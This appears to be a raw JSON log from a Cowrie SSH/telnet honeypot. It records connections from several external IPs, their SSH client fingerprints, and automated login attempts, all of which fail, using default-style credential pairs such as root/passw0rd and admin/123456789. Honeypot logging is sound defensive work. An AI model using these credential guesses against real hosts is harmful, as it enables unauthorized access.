{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:08.672621Z","src_ip":"45.156.87.254","session":"b53e356c19c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:08.758013Z","src_ip":"45.156.87.254","session":"b53e356c19c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:09.134840Z","src_ip":"45.156.87.254","session":"b53e356c19c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:10.220966Z","src_ip":"45.156.87.254","session":"b53e356c19c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":39908,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d406072c4a5","protocol":"ssh","message":"New connection: 185.16.214.226:39908 (10.17.0.5:22) [session: 4d406072c4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:10.872035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:10.876995Z","src_ip":"185.16.214.226","session":"4d406072c4a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:11.006110Z","src_ip":"185.16.214.226","session":"4d406072c4a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"digital","password":"digital@123","message":"login attempt [digital/digital@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:11.554775Z","src_ip":"185.16.214.226","session":"4d406072c4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:12.688020Z","src_ip":"185.16.214.226","session":"4d406072c4a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57148,"dst_ip":"159.203.135.109","dst_port":22,"session":"768d2aa5bc18","protocol":"ssh","message":"New connection: 45.156.87.254:57148 (159.203.135.109:22) [session: 768d2aa5bc18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:12.726131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:12.731145Z","src_ip":"45.156.87.254","session":"768d2aa5bc18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:12.815575Z","src_ip":"45.156.87.254","session":"768d2aa5bc18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:13.071804Z","src_ip":"45.156.87.254","session":"768d2aa5bc18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:14.159244Z","src_ip":"45.156.87.254","session":"768d2aa5bc18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57164,"dst_ip":"159.203.135.109","dst_port":22,"session":"98d34e2dc3f2","protocol":"ssh","message":"New connection: 45.156.87.254:57164 (159.203.135.109:22) [session: 98d34e2dc3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:16.761955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:16.766541Z","src_ip":"45.156.87.254","session":"98d34e2dc3f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:16.849349Z","src_ip":"45.156.87.254","session":"98d34e2dc3f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.08286690711975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:17.022967Z","src_ip":"104.245.105.2","session":"93b0f08fddd3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:17.099493Z","src_ip":"45.156.87.254","session":"98d34e2dc3f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:18.195593Z","src_ip":"45.156.87.254","session":"98d34e2dc3f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35708,"dst_ip":"159.203.135.109","dst_port":22,"session":"9270ea634f6e","protocol":"ssh","message":"New connection: 45.156.87.254:35708 (159.203.135.109:22) [session: 9270ea634f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:20.395365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:20.401251Z","src_ip":"45.156.87.254","session":"9270ea634f6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:20.603921Z","src_ip":"45.156.87.254","session":"9270ea634f6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:20.979078Z","src_ip":"45.156.87.254","session":"9270ea634f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:22.064681Z","src_ip":"45.156.87.254","session":"9270ea634f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.82000255584717,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:23.789134Z","src_ip":"20.123.41.163","session":"8901953fffb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35732,"dst_ip":"159.203.135.109","dst_port":22,"session":"d73924787776","protocol":"ssh","message":"New connection: 45.156.87.254:35732 (159.203.135.109:22) [session: d73924787776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:24.360107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:24.368699Z","src_ip":"45.156.87.254","session":"d73924787776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:24.456041Z","src_ip":"45.156.87.254","session":"d73924787776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:24.713884Z","src_ip":"45.156.87.254","session":"d73924787776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:25.802148Z","src_ip":"45.156.87.254","session":"d73924787776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.403292417526245,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:26.892343Z","src_ip":"20.123.41.163","session":"7295b9296e3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":40518,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6bb6bd5ff97","protocol":"ssh","message":"New connection: 103.143.231.102:40518 (10.17.0.5:22) [session: d6bb6bd5ff97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:27.477154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:27.639244Z","src_ip":"103.143.231.102","session":"d6bb6bd5ff97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:27.706578Z","src_ip":"103.143.231.102","session":"d6bb6bd5ff97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35756,"dst_ip":"159.203.135.109","dst_port":22,"session":"e439fff3df93","protocol":"ssh","message":"New connection: 45.156.87.254:35756 (159.203.135.109:22) [session: e439fff3df93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:28.305643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:28.327200Z","src_ip":"45.156.87.254","session":"e439fff3df93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:28.390412Z","src_ip":"45.156.87.254","session":"e439fff3df93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver4","password":"gmodserver4","message":"login attempt [gmodserver4/gmodserver4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:28.611274Z","src_ip":"103.143.231.102","session":"d6bb6bd5ff97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:28.709597Z","src_ip":"45.156.87.254","session":"e439fff3df93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:29.685836Z","src_ip":"103.143.231.102","session":"d6bb6bd5ff97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:29.794939Z","src_ip":"45.156.87.254","session":"e439fff3df93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56486,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb26e62ad202","protocol":"ssh","message":"New connection: 45.156.87.254:56486 (159.203.135.109:22) [session: fb26e62ad202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:32.091455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:32.096878Z","src_ip":"45.156.87.254","session":"fb26e62ad202","protocol":"ssh"}
